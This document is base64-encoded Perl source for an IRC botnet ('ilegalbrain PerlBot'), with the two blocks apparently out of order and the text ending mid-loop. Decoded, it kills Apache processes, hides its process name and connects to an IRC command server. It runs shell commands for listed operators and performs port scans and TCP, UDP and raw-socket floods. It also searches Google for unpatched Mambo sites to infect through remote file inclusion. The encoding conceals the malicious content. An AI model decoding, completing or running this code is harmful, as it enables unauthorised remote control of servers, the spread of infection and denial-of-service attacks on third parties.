ICBteSAkbXNnID0gJ0EnIHggJF9bMV07CiAgbXkgJGZ0aW1lID0gJF9bMl07CiAg
bXkgJGNwID0gMDsKICBteSAoJXBhY290ZXMpOwogICRwYWNvdGVze2ljbXB9ID0g
JHBhY290ZXN7aWdtcH0gPSAkcGFjb3Rlc3t1ZHB9ID0gJHBhY290ZXN7b30gPSAk
cGFjb3Rlc3t0Y3B9ID0gMDsKICAKICBzb2NrZXQoU09DSzEsIFBGX0lORVQsIFNP
Q0tfUkFXLCAyKSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzIsIFBGX0lORVQsIFNP
Q0tfREdSQU0sIDE3KSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzMsIFBGX0lORVQs
IFNPQ0tfUkFXLCAxKSBvciAkY3ArKzsKICBzb2NrZXQoU09DSzQsIFBGX0lORVQs
IFNPQ0tfUkFXLCA2KSBvciAkY3ArKzsKICByZXR1cm4odW5kZWYpIGlmICRjcCA9
PSA0OwogIG15ICRpdGltZSA9IHRpbWU7CiAgbXkgKCRjdXJfdGltZSk7CiAgd2hp
bGUgKCAxICkgewogICAgIGZvciAobXkgJHBvcnRhID0gMTsgJHBvcnRhIDw9IDY1
MDAwOyAkcG9ydGErKykgewogICAgICAgJGN1cl90aW1lID0gdGltZSAtICRpdGlt
ZTsKICAgICAgIGxhc3QgaWYgJGN1cl90aW1lID49ICRmdGltZTsKICAgICAgIHNl
bmQoU09DSzEsICRtc2csIDAsIHNvY2thZGRyX2luKCRwb3J0YSwgJGlhZGRyKSkg
YW5kICRwYWNvdGVze2lnbXB9Kys7CiAgICAgICBzZW5kKFNPQ0syLCAkbXNnLCAw
LCBzb2NrYWRkcl9pbigkcG9ydGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3t1ZHB9
Kys7CiAgICAgICBzZW5kKFNPQ0szLCAkbXNnLCAwLCBzb2NrYWRkcl9pbigkcG9y
dGEsICRpYWRkcikpIGFuZCAkcGFjb3Rlc3tpY21wfSsrOwogICAgICAgc2VuZChT
T0NLNCwgJG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQg
JHBhY290ZXN7dGNwfSsrOwoKICAgICAgIGZvciAobXkgJHBjID0gMzsgJHBjIDw9
IDI1NTskcGMrKykgewogICAgICAgICBuZXh0IGlmICRwYyA9PSA2OwogICAgICAg
ICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOwogICAgICAgICBsYXN0IGlmICRj
dXJfdGltZSA+PSAkZnRpbWU7CiAgICAgICAgIHNvY2tldChTT0NLNSwgUEZfSU5F
VCwgU09DS19SQVcsICRwYykgb3IgbmV4dDsKICAgICAgICAgc2VuZChTT0NLNSwg
JG1zZywgMCwgc29ja2FkZHJfaW4oJHBvcnRhLCAkaWFkZHIpKSBhbmQgJHBhY290
ZXN7b30rKzsKICAgICAgIH0KICAgICB9CiAgICAgbGFzdCBpZiAkY3VyX3RpbWUg
Pj0gJGZ0aW1lOwogIH0KICByZXR1cm4oJGN1cl90aW1lLCAlcGFjb3Rlcyk7Cn0K
CnN1YiBjdGNwIHsKICAgcmV0dXJuIHVubGVzcyAkI18gPT0gMTsKICAgc2VuZHJh
dygiUFJJVk1TRyAkX1swXSA6XDAwMSRfWzFdXDAwMSIpOwp9CnN1YiBtc2cgewog
ICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJQUklWTVNHICRf
WzBdIDokX1sxXSIpOwp9ICAKc3ViIG5vdGljZSB7CiAgIHJldHVybiB1bmxlc3Mg
JCNfID09IDE7CiAgIHNlbmRyYXcoIk5PVElDRSAkX1swXSA6JF9bMV0iKTsKfQpz
dWIgb3AgewogICByZXR1cm4gdW5sZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJN
T0RFICRfWzBdICtvICRfWzFdIik7Cn0Kc3ViIGRlb3AgewogICByZXR1cm4gdW5s
ZXNzICQjXyA9PSAxOwogICBzZW5kcmF3KCJNT0RFICRfWzBdIC1vICRfWzFdIik7
Cn0Kc3ViIGogeyAmam9pbihAXyk7IH0Kc3ViIGpvaW4gewogICByZXR1cm4gdW5s
ZXNzICQjXyA9PSAwOwogICBzZW5kcmF3KCJKT0lOICRfWzBdIik7Cn0Kc3ViIHAg
eyBwYXJ0KEBfKTsgfQpzdWIgcGFydCB7CiAgc2VuZHJhdygiUEFSVCAkX1swXSIp
Owp9CnN1YiBuaWNrIHsKICByZXR1cm4gdW5sZXNzICQjXyA9PSAwOwogIHNlbmRy
YXcoIk5JQ0sgJF9bMF0iKTsKfQpzdWIgcXVpdCB7CiAgc2VuZHJhdygiUVVJVCA6
JF9bMF0iKTsKfQoKIyBTcHJlYWRlcgojIHRoaXMgJ3NwcmVhZGVyJyBjb2RlIGlz
bm90IG1pbmUsIGkgZG9udCBrbm93IHdobyBjb2RlZCBpdC4KIyB1cGRhdGU6IHdl
bGwsIGkganVzdCBmaXgwcmVkIHRoaXMgc2hpdCBhIGJpdC4KIwoKc3ViIGZldGNo
KCl7CiAgICBteSAkcm5kPShpbnQocmFuZCg5OTk5KSkpOwogICAgbXkgJG49IDgw
OwogICAgaWYgKCRybmQ8NTAwMCkgeyAkbjw8PTE7fQogICAgbXkgJHM9IChpbnQo
cmFuZCg1KSkgKiAkbik7CgpteSBAZG9taW5pb3MgPSAoImNvbSIsIm5ldCIsIm9y
ZyIsImluZm8iLCJnb3YiLCAiZ29iIiwiZ3ViIiwieHh4IiwgImV1IiwibWlsIiwi
ZWR1IiwiYWVybyIsIm5hbWUiLCJ1cyIsImNhIiwibXgiLCJwYSIsIm5pIiwiY3Ui
LCJwciIsInZlIiwiY28iLCJwZSIsImVjIiwKCQkicHkiLCJjbCIsInV5IiwiYXIi
LCJiciIsImJvIiwiYXUiLCJueiIsImN6Iiwia3IiLCJqcCIsInRoIiwidHciLCJw
aCIsImNuIiwiZmkiLCJkZSIsImVzIiwicHQiLCJjaCIsInNlIiwic3UiLCJpdCIs
ImdyIiwiYWwiLCJkayIsInBsIiwiYml6IiwiaW50IiwicHJvIiwibXVzZXVtIiwi
Y29vcCIsCgkJImFmIiwiYWQiLCJhbyIsImFpIiwiYXEiLCJhZyIsImFuIiwic2Ei
LCJkeiIsImFyIiwiYW0iLCJhdyIsImF0IiwiYXoiLCJicyIsImJoIiwiYmQiLCJi
YiIsImJlIiwiYnoiLCJiaiIsImJtIiwiYnQiLCJieSIsImJhIiwiYnciLCJibiIs
ImJnIiwiYmYiLCJiaSIsCgkJInZjIiwia2giLCJjbSIsInRkIiwiY3MiLCJjeSIs
ImttIiwiY2ciLCJjZCIsImRqIiwiZG0iLCJjaSIsImNyIiwiaHIiLCJrcCIsImVn
Iiwic3YiLCJhdyIsImVyIiwic2siLAoJCSJlZSIsImV0IiwiZ2UiLCJmaSIsImZy
IiwiZ2EiLCJncyIsImdoIiwiZ2kiLCJnYiIsInVrIiwiZ2QiLCJnbCIsImdwIiwi
Z3UiLCJndCIsImdnIiwiZ24iLCJndyIsImdxIiwiZ3kiLCJnZiIsImh0Iiwibmwi
LCJobiIsImhrIiwiaHUiLCJpbiIsImlkIiwiaXIiLAoJCSJpcSIsImllIiwiaXMi
LCJhYyIsImJ2IiwiY3giLCJpbSIsIm5mIiwia3kiLCJjYyIsImNrIiwiZm8iLCJo
bSIsImZrIiwibXAiLCJtaCIsInB3IiwidW0iLCJzYiIsInNqIiwidGMiLCJ2ZyIs
InZpIiwid2YiLCJpbCIsImptIiwiamUiLCJqbyIsImt6Iiwia2UiLAoJCSJraSIs
ImtnIiwia3ciLCJsdiIsImxzIiwibGIiLCJseSIsImxyIiwibGkiLCJsdCIsImx1
IiwibW8iLCJtayIsIm1nIiwibXkiLCJtdyIsIm12IiwibWwiLCJtdCIsIm1xIiwi
bWEiLCJtciIsIm11IiwieXQiLCJtZCIsIm1jIiwibW4iLCJtcyIsIm16IiwibW0i
LAoJCSJuYSIsIm5yIiwibnAiLCJuaSIsIm5lIiwibmciLCJudSIsIm5vIiwibmMi
LCJvbSIsInBrIiwicHMiLCJwZyIsInBuIiwicGYiLCJxYSIsInN5IiwiY2YiLCJs
YSIsInJlIiwicnciLCJybyIsInJ1IiwiZWgiLCJrbiIsIndzIiwiYXMiLCJzbSIs
InBtIiwidmMiLAkJCgkJInNoIiwibGMiLCJ2YSIsInN0Iiwic24iLCJzYyIsInNs
Iiwic2ciLCJzbyIsImxrIiwiemEiLCJzZCIsInNlIiwic3IiLCJzeiIsInJqIiwi
dHoiLCJpbyIsInRmIiwidHAiLCJ0ZyIsInRvIiwidHQiLCJ0biIsInRyIiwidG0i
LCJ0diIsInVnIiwidWEiLCJ1eiIsCgkJInZ1Iiwidm4iLCJ5ZSIsInl1IiwiY2Qi
LCJ6bSIsInp3IiwiIik7Cm15IEBzdHI7Cgpmb3JlYWNoICRkb20gIChAZG9taW5p
b3MpCnsKCXB1c2ggKEBzdHIsImFsbGludXJsOiUyMiIuJGRvbS4iLyIuJGdvbmku
IiUyMiIpOwp9CgogICAgbXkgJHF1ZXJ5PSJ3d3cuZ29vZ2xlLmNvbS9zZWFyY2g/
cT0iOwogICAgJHF1ZXJ5Lj0kc3RyWyhyYW5kKHNjYWxhcihAc3RyKSkpXTsKICAg
ICRxdWVyeS49IiZudW09JG4mc3RhcnQ9JHMiOwoKCiAgICBteSBAbHN0PSgpOwog
ICAgbXkgJHBhZ2UgPSBodHRwX3F1ZXJ5KCRxdWVyeSk7CiAgICB3aGlsZSAoJHBh
Z2UgPX4gIG0vPGEgY2xhc3M9bCBocmVmPVwiP2h0dHA6XC9cLyhbXj5cIl0rKVwi
Pz4vZyl7CglpZiAoJDEgIX4gbS9nb29nbGV8Y2FjaGV8dHJhbnNsYXRlLyl7Cgkg
ICAgcHVzaCAoQGxzdCwkMSk7Cgl9CiAgICB9CiAgICByZXR1cm4gKEBsc3QpOwp9
CgoKc3ViIGh0dHBfcXVlcnkoJCl7CiAgICBteSAoJHVybCkgPSBAXzsKICAgIG15
ICRob3N0PSR1cmw7CiAgICBteSAkcXVlcnk9JHVybDsKCiAgICBteSAkcGFnZT0i
IjsKICAgICRob3N0ID1+IHMvaHJlZj1cIj9odHRwOlwvXC8vLzsKICAgICRob3N0
ID1+IHMvKFstYS16QS1aMC05XC5dKylcLy4qLyQxLzsKICAgICRxdWVyeSA9fnMv
JGhvc3QvLzsKICAgIGlmICgkcXVlcnkgZXEgIiIpIHskcXVlcnk9Ii8iO307CiAg
ICBldmFsIHsKCWxvY2FsICRTSUd7QUxSTX0gPSBzdWIgeyBkaWUgIjEiO307Cglh
bGFybSAxMDsKCW15ICRzb2NrID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFBlZXJB
ZGRyPT4iJGhvc3QiLFBlZXJQb3J0PT4iODAiLFByb3RvPT4idGNwIikgb3IgcmV0
dXJuOwoJcHJpbnQgJHNvY2sgIkdFVCAkcXVlcnkgSFRUUC8xLjBcclxuSG9zdDog
JGhvc3RcclxuQWNjZXB0OiAqLypcclxuVXNlci1BZ2VudDogTW96aWxsYS81LjBc
clxuXHJcbiI7CglteSBAciA9IDwkc29jaz47CgkkcGFnZT0iQHIiOwoJYWxhcm0g
MDsKCWNsb3NlKCRzb2NrKTsKICAgIH07ICAgIAogICAgcmV0dXJuICRwYWdlOwoK
fQ==

IyEvdXNyL2Jpbi9wZXJsCiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gIwojICAgICAgICAgICAgICAg
ICBpbGVnYWxicmFpbiBQZXJsQm90ICAgICAgICAgICAgICAgICAgICAgICAgICMK
IyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLSAjCgpzeXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91
c3Ivc2Jpbi9hcGFjaGUyL2xvZyB8Z3JlcCAtdiBncmVwfGF3ayAne3ByaW50ICQx
O30nYCIpOwpzeXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91c3Ivc2Jpbi9h
cGFjaGUzL2xvZyB8Z3JlcCAtdiBncmVwfGF3ayAne3ByaW50ICQxO30nYCIpOwpz
eXN0ZW0oImtpbGwgLTkgYHBzIGF4IHxncmVwIC91c3Ivc2Jpbi9hcGFjaGUvbG9n
IHxncmVwIC12IGdyZXB8YXdrICd7cHJpbnQgJDE7fSdgIik7CnN5c3RlbSgia2ls
bCAtOSBgcHMgYXggfGdyZXAgL3Vzci9zYmluL2h0dHBkIHxncmVwIC12IGdyZXB8
YXdrICd7cHJpbnQgJDE7fSdgIik7CnN5c3RlbSgia2lsbCAtOSBgcHMgYXggfGdy
ZXAgL3Vzci9zYmluL2h0dHBkIHxncmVwIC12IGdyZXB8YXdrICd7cHJpbnQgJDE7
fSdgIik7CgpteSAkcHJvY2Vzc28gPSAnLSc7CgoKbXkgQHRpdGkgPSAoImluZGV4
LnBocD9wYWdlPSIsIm1haW4ucGhwP3BhZ2U9Iik7CgpteSAkZ29uaSA9ICR0aXRp
W3JhbmQgc2NhbGFyIEB0aXRpXTsKCm15ICRsaW5hc19tYXg9JzMnOwpteSAkc2xl
ZXA9JzcnOwpteSBAYWRtcz0oImNpbmNpIiwgInNhc2UiLCAic2FwdGUiICk7Cm15
IEBob3N0YXV0aD0oInduLnVzIiwicHVibGljLm5MIik7Cm15IEBjYW5haXM9KCIj
aiIpOwpteSAkbmljaz0naic7Cm15ICRpcmNuYW1lID0naic7CmNob3AgKG15ICRy
ZWFsbmFtZSA9IGB1bmFtZSAtc3JgKTsKJHNlcnZpZG9yPSduLmlsZWdhbGJyYWlu
LmNvbScgdW5sZXNzICRzZXJ2aWRvcjsKbXkgJHBvcnRhPSczMzA2JzsKbXkgJFZF
UlNBTyA9ICcwLjUnOwokU0lHeydJTlQnfSA9ICdJR05PUkUnOwokU0lHeydIVVAn
fSA9ICdJR05PUkUnOwokU0lHeydURVJNJ30gPSAnSUdOT1JFJzsKJFNJR3snQ0hM
RCd9ID0gJ0lHTk9SRSc7CiRTSUd7J1BTJ30gPSAnSUdOT1JFJzsKdXNlIElPOjpT
b2NrZXQ7CnVzZSBTb2NrZXQ7CnVzZSBJTzo6U2VsZWN0OwpjaGRpcigiL3RtcCIp
Owokc2Vydmlkb3I9IiRBUkdWWzBdIiBpZiAkQVJHVlswXTsKJDA9IiRwcm9jZXNz
byIuIlwwIngxNjs7Cm15ICRwaWQ9Zm9yazsKZXhpdCBpZiAkcGlkOwpkaWUgIlBy
b2JsZW1hIGNvbSBvIGZvcms6ICQhIiB1bmxlc3MgZGVmaW5lZCgkcGlkKTsKCm91
ciAlaXJjX3NlcnZlcnM7Cm91ciAlRENDOwpteSAkZGNjX3NlbCA9IG5ldyBJTzo6
U2VsZWN0LT5uZXcoKTsKCiRzZWxfY2xpZW50ZSA9IElPOjpTZWxlY3QtPm5ldygp
OwpzdWIgc2VuZHJhdyB7CiAgaWYgKCQjXyA9PSAnMScpIHsKICAgIG15ICRzb2Nr
ZXQgPSAkX1swXTsKICAgIHByaW50ICRzb2NrZXQgIiRfWzFdXG4iOwogIH0gZWxz
ZSB7CiAgICAgIHByaW50ICRJUkNfY3VyX3NvY2tldCAiJF9bMF1cbiI7CiAgfQp9
CgpzdWIgY29uZWN0YXIgewogICBteSAkbWV1bmljayA9ICRfWzBdOwogICBteSAk
c2Vydmlkb3JfY29uID0gJF9bMV07CiAgIG15ICRwb3J0YV9jb24gPSAkX1syXTsK
CiAgIG15ICRJUkNfc29ja2V0ID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KFByb3Rv
PT4idGNwIiwgUGVlckFkZHI9PiIkc2Vydmlkb3JfY29uIiwgUGVlclBvcnQ9PiRw
b3J0YV9jb24pIG9yIHJldHVybigxKTsKICAgaWYgKGRlZmluZWQoJElSQ19zb2Nr
ZXQpKSB7CiAgICAgJElSQ19jdXJfc29ja2V0ID0gJElSQ19zb2NrZXQ7CgogICAg
ICRJUkNfc29ja2V0LT5hdXRvZmx1c2goMSk7CiAgICAgJHNlbF9jbGllbnRlLT5h
ZGQoJElSQ19zb2NrZXQpOwoKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29j
a2V0fXsnaG9zdCd9ID0gIiRzZXJ2aWRvcl9jb24iOwogICAgICRpcmNfc2VydmVy
c3skSVJDX2N1cl9zb2NrZXR9eydwb3J0YSd9ID0gIiRwb3J0YV9jb24iOwogICAg
ICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2NrZXR9eyduaWNrJ30gPSAkbWV1bmlj
azsKICAgICAkaXJjX3NlcnZlcnN7JElSQ19jdXJfc29ja2V0fXsnbWV1aXAnfSA9
ICRJUkNfc29ja2V0LT5zb2NraG9zdDsKICAgICBuaWNrKCIkbWV1bmljayIpOwog
ICAgIHNlbmRyYXcoIlVTRVIgJGlyY25hbWUgIi4kSVJDX3NvY2tldC0+c29ja2hv
c3QuIiAkc2Vydmlkb3JfY29uIDokcmVhbG5hbWUiKTsKICAgICBzbGVlcCAxOwog
ICB9Cn0KbXkgJGxpbmVfdGVtcDsKd2hpbGUoIDEgKSB7CiAgIHdoaWxlICghKGtl
eXMoJWlyY19zZXJ2ZXJzKSkpIHsgY29uZWN0YXIoIiRuaWNrIiwgIiRzZXJ2aWRv
ciIsICIkcG9ydGEiKTsgfQogICBkZWxldGUoJGlyY19zZXJ2ZXJzeycnfSkgaWYg
KGRlZmluZWQoJGlyY19zZXJ2ZXJzeycnfSkpOwogICBteSBAcmVhZHkgPSAkc2Vs
X2NsaWVudGUtPmNhbl9yZWFkKDApOwogICBuZXh0IHVubGVzcyhAcmVhZHkpOwog
ICBmb3JlYWNoICRmaCAoQHJlYWR5KSB7CiAgICAgJElSQ19jdXJfc29ja2V0ID0g
JGZoOwogICAgICRtZXVuaWNrID0gJGlyY19zZXJ2ZXJzeyRJUkNfY3VyX3NvY2tl
dH17J25pY2snfTsKICAgICAkbnJlYWQgPSBzeXNyZWFkKCRmaCwgJG1zZywgNDA5
Nik7CiAgICAgaWYgKCRucmVhZCA9PSAwKSB7CiAgICAgICAgJHNlbF9jbGllbnRl
LT5yZW1vdmUoJGZoKTsKICAgICAgICAkZmgtPmNsb3NlOwogICAgICAgIGRlbGV0
ZSgkaXJjX3NlcnZlcnN7JGZofSk7CiAgICAgfQogICAgIEBsaW5lcyA9IHNwbGl0
ICgvXG4vLCAkbXNnKTsKCiAgICAgZm9yKG15ICRjPTA7ICRjPD0gJCNsaW5lczsg
JGMrKykgewogICAgICAgJGxpbmUgPSAkbGluZXNbJGNdOwogICAgICAgJGxpbmU9
JGxpbmVfdGVtcC4kbGluZSBpZiAoJGxpbmVfdGVtcCk7CiAgICAgICAkbGluZV90
ZW1wPScnOwogICAgICAgJGxpbmUgPX4gcy9cciQvLzsKICAgICAgIHVubGVzcyAo
JGMgPT0gJCNsaW5lcykgewogICAgICAgICBwYXJzZSgiJGxpbmUiKTsKICAgICAg
IH0gZWxzZSB7CiAgICAgICAgICAgaWYgKCQjbGluZXMgPT0gMCkgewogICAgICAg
ICAgICAgcGFyc2UoIiRsaW5lIik7CiAgICAgICAgICAgfSBlbHNpZiAoJGxpbmVz
WyRjXSA9fiAvXHIkLykgewogICAgICAgICAgICAgICBwYXJzZSgiJGxpbmUiKTsK
ICAgICAgICAgICB9IGVsc2lmICgkbGluZSA9fiAvXihcUyspIE5PVElDRSBBVVRI
IDpcKlwqXCovKSB7CiAgICAgICAgICAgICAgIHBhcnNlKCIkbGluZSIpOwogICAg
ICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICRsaW5lX3RlbXAgPSAkbGlu
ZTsKICAgICAgICAgICB9CiAgICAgICB9CiAgICAgIH0KICAgfQp9CiAKc3ViIHBh
cnNlIHsKICAgbXkgJHNlcnZhcmcgPSBzaGlmdDsKICAgaWYgKCRzZXJ2YXJnID1+
IC9eUElORyBcOiguKikvKSB7CiAgICAgc2VuZHJhdygiUE9ORyA6JDEiKTsKICAg
fSBlbHNpZiAoJHNlcnZhcmcgPX4gL15cOiguKz8pXCEoLis/KVxAKC4rPykgUFJJ
Vk1TRyAoLis/KSBcOiguKykvKSB7CiAgICAgICBteSAkcG49JDE7IG15ICRob3N0
bWFzaz0gJDM7IG15ICRvbmRlID0gJDQ7IG15ICRhcmdzID0gJDU7CiAgICAgICBp
ZiAoJGFyZ3MgPX4gL15cMDAxVkVSU0lPTlwwMDEkLykgewogICAgICAgICBub3Rp
Y2UoIiRwbiIsICJcMDAxVkVSU0lPTiBtSVJDIHY2LjE2IEtoYWxlZCBNYXJkYW0t
QmV5XDAwMSIpOwogICAgICAgfQogICAgICAgaWYgKGdyZXAgeyRfID1+IC9eXFEk
aG9zdG1hc2tcRSQvaSB9IEBob3N0YXV0aCkgewogICAgICAgaWYgKGdyZXAgeyRf
ID1+IC9eXFEkcG5cRSQvaSB9IEBhZG1zKSB7CiAgICAgICAgIGlmICgkb25kZSBl
cSAiJG1ldW5pY2siKXsKICAgICAgICAgICBzaGVsbCgiJHBuIiwgIiRhcmdzIik7
CiAgICAgICAgIH0KICAgICAgICAgaWYgKCRhcmdzID1+IC9eKFxRJG1ldW5pY2tc
RXxcIXNheSlccysoLiopLyApIHsKICAgICAgICAgICAgbXkgJG5hdHJpeCA9ICQx
OwogICAgICAgICAgICBteSAkYXJnID0gJDI7CiAgICAgICAgICAgIGlmICgkYXJn
ID1+IC9eXCEoLiopLykgewogICAgICAgICAgICAgIGlyY2FzZSgiJHBuIiwiJG9u
ZGUiLCIkMSIpIHVubGVzcyAoJG5hdHJpeCBlcSAiIWJvdCIgYW5kICRhcmcgPX4g
L15cIW5pY2svKTsKICAgICAgICAgICAgfSBlbHNpZiAoJGFyZyA9fiAvXlxAKC4q
KS8pIHsKICAgICAgICAgICAgICAgICRvbmRlcCA9ICRvbmRlOwogICAgICAgICAg
ICAgICAgJG9uZGVwID0gJHBuIGlmICRvbmRlIGVxICRtZXVuaWNrOwogICAgICAg
ICAgICAgICAgYmZ1bmMoIiRvbmRlcCIsIiQxIik7CiAgICAgICAgICAgIH0gZWxz
ZSB7CiAgICAgICAgICAgICAgICBzaGVsbCgiJG9uZGUiLCAiJGFyZyIpOwogICAg
ICAgICAgICB9CiAgICAgICAgIH0gCiAgICAgICB9Cgl9CiAgIH0gZWxzaWYgKCRz
ZXJ2YXJnID1+IC9eXDooLis/KVwhKC4rPylcQCguKz8pXHMrTklDS1xzK1w6KFxT
KykvaSkgewogICAgICAgaWYgKGxjKCQxKSBlcSBsYygkbWV1bmljaykpIHsKICAg
ICAgICAgJG1ldW5pY2s9JDQ7IAogICAgICAgICAkaXJjX3NlcnZlcnN7JElSQ19j
dXJfc29ja2V0fXsnbmljayd9ID0gJG1ldW5pY2s7CiAgICAgICB9CiAgIH0gZWxz
aWYgKCRzZXJ2YXJnID1+IG0vXlw6KC4rPylccys0MzMvaSkgewogICAgICAgbmlj
aygiJG1ldW5pY2t8Ii5pbnQgcmFuZCg5OTk5OTkpKTsKICAgfSBlbHNpZiAoJHNl
cnZhcmcgPX4gbS9eXDooLis/KVxzKzAwMVxzKyhcUyspXHMvaSkgewogICAgICAg
JG1ldW5pY2sgPSAkMjsKICAgICAgICRpcmNfc2VydmVyc3skSVJDX2N1cl9zb2Nr
ZXR9eyduaWNrJ30gPSAkbWV1bmljazsKICAgICAgICRpcmNfc2VydmVyc3skSVJD
X2N1cl9zb2NrZXR9eydub21lJ30gPSAiJDEiOwogICAgICAgZm9yZWFjaCBteSAk
Y2FuYWwgKEBjYW5haXMpIHsKICAgICAgICAgc2VuZHJhdygiSk9JTiAkY2FuYWwg
ZGRvc2l0Iik7CiAgICAgICB9CiAgIH0KfQoKCnN1YiBiZnVuYyB7CiAgbXkgJHBy
aW50bCA9ICRfWzBdOwogIG15ICRmdW5jYXJnID0gJF9bMV07CiAgaWYgKG15ICRw
aWQgPSBmb3JrKSB7CiAgICAgd2FpdHBpZCgkcGlkLCAwKTsKICB9IGVsc2Ugewog
ICAgICBpZiAoZm9yaykgewogICAgICAgICBleGl0OwogICAgICAgfSBlbHNlIHsK
ICAgICAgICAgICBpZiAoJGZ1bmNhcmcgPX4gL15wb3J0c2NhbiAoLiopLykgewog
ICAgICAgICAgICAgbXkgJGhvc3RpcD0iJDEiOwogICAgICAgICAgICAgbXkgQHBv
cnRhcz0oIjIxIiwiMjIiLCIyMyIsIjI1IiwiODAiLCIxMTMiLCIxMzUiLCI0NDUi
LCIxMDI1IiwiNTAwMCIsIjY2NjAiLCI2NjYxIiwiNjY2MiIsIjY2NjMiLCI2NjY1
IiwiNjY2NiIsIjY2NjciLCI2NjY4IiwiNjY2OSIsIjcwMDAiLCI4MDgwIiwiODAx
OCIpOwogICAgICAgICAgICAgbXkgKEBhYmVydGEsICVwb3J0YV9iYW5uZXIpOwoJ
ICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBSSVZNU0cgJHByaW50bCA6
XDAwMltTQ0FOXVwwMDIgU2Nhbm5pbmcgIi4kMS4iIGZvciBvcGVuIHBvcnRzLiIp
OyAgICAgCiAgICAgICAgICAgICBmb3JlYWNoIG15ICRwb3J0YSAoQHBvcnRhcykg
IHsKICAgICAgICAgICAgICAgIG15ICRzY2Fuc29jayA9IElPOjpTb2NrZXQ6OklO
RVQtPm5ldyhQZWVyQWRkciA9PiAkaG9zdGlwLCBQZWVyUG9ydCA9PiAkcG9ydGEs
IFByb3RvID0+ICd0Y3AnLCBUaW1lb3V0ID0+IDQpOwogICAgICAgICAgICAgICAg
aWYgKCRzY2Fuc29jaykgewogICAgICAgICAgICAgICAgICAgcHVzaCAoQGFiZXJ0
YSwgJHBvcnRhKTsKICAgICAgICAgICAgICAgICAgICRzY2Fuc29jay0+Y2xvc2U7
CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
aWYgKEBhYmVydGEpIHsKICAgICAgICAgICAgICAgc2VuZHJhdygkSVJDX2N1cl9z
b2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbU0NBTl1cMDAyIE9wZW4gcG9y
dChzKTogQGFiZXJ0YSIpOwogICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAg
ICAgICAgc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsIlBSSVZNU0cgJHByaW50bCA6
XDAwMltTQ0FOXVwwMDIgTm8gb3BlbiBwb3J0cyBmb3VuZCIpOyAKICAgICAgICAg
ICAgIH0KICAgICAgICAgICB9CiAgICAgICAgICAgaWYgKCRmdW5jYXJnID1+IC9e
dGNwZmxvb2RccysoLiopXHMrKFxkKylccysoXGQrKS8pIHsKCSAgICAgc2VuZHJh
dygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRwcmludGwgOlwwMDJbVENQXVww
MDIgQXR0YWNraW5nICIuJDEuIjoiLiQyLiIgZm9yICIuJDMuIiBzZWNvbmRzLiIp
OwoJICAgICBteSAkaXRpbWUgPSB0aW1lOwoJICAgICBteSAoJGN1cl90aW1lKTsK
ICAgICAgICAgICAgICRjdXJfdGltZSA9IHRpbWUgLSAkaXRpbWU7CgkgICAgIHdo
aWxlICgkMz4kY3VyX3RpbWUpewogICAgICAgICAgICAgJGN1cl90aW1lID0gdGlt
ZSAtICRpdGltZTsKCSAgICAgJnRjcGZsb29kZXIoIiQxIiwiJDIiLCIkMyIpOwog
ICAgICAgICAgICAgfQoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwgIlBS
SVZNU0cgJHByaW50bCA6XDAwMltUQ1BdXDAwMiBBdHRhY2sgZG9uZSAiLiQxLiI6
Ii4kMi4iLiIpOwogICAgICAgICAgIH0KCSAgIGlmICgkZnVuY2FyZyA9fiAvXnZl
cnNpb24vKSB7CgkJc2VuZHJhdygkSVJDX2N1cl9zb2NrZXQsICJQUklWTVNHICRw
cmludGwgOlwwMDJbVkVSU0lPTl1cMDAyIHBlcmxiMHQgdmVyICIuJFZFUlNBTyk7
CQkgICAKCQl9CiAgICAgICAgICAgaWYgKCRmdW5jYXJnID1+IC9eZ29vZ2xlXHMr
KFxkKylccysoLiopLykgewoJICAgICBzZW5kcmF3KCRJUkNfY3VyX3NvY2tldCwg
IlBSSVZNU0cgJHByaW50bCA6XDAwMltHT09HTEVdXDAwMiBTY2FubmluZyBmb3Ig
dW5wYXRjaGVkIG1hbWJvIGZvciAiLiQxLiIgc2Vjb25kcy4iKTsKCSAgICAgc3Jh
bmQ7CgkgICAgIG15ICRpdGltZSA9IHRpbWU7CgkgICAgIG15ICgkY3VyX3RpbWUp
OwoJICAgICBteSAoJGV4cGxvaXRlZCk7CgkgICAgICRib3R1cmw9JDI7CiAgICAg
ICAgICAgICAkY3VyX3RpbWUgPSB0aW1lIC0gJGl0aW1lOyRleHBsb2l0ZWQgPSAw
OwoJCXdoaWxlKCQxPiRjdXJfdGltZSl7CgkJICAgICRjdXJfdGltZSA9IHRpbWUg
LSAkaXRpbWU7CgkJICAgIEB1cmxzPWZldGNoKCk7CgkJCWZvcmVhY2ggJHVybCAo
QHVybHMpIHsKCQkJJGN1cl90aW1lID0gdGltZSAtICRpdGltZTsKCQkJbXkgJHBh
dGggPSAiIjtteSAkZmlsZSA9ICIiOygkcGF0aCwgJGZpbGUpID0gJHVybCA9fiAv
XiguKylcLyguKykkLzsKCgkJCSR1cmwgPSRwYXRoLiIvJGdvbmkkYm90dXJsIiA7
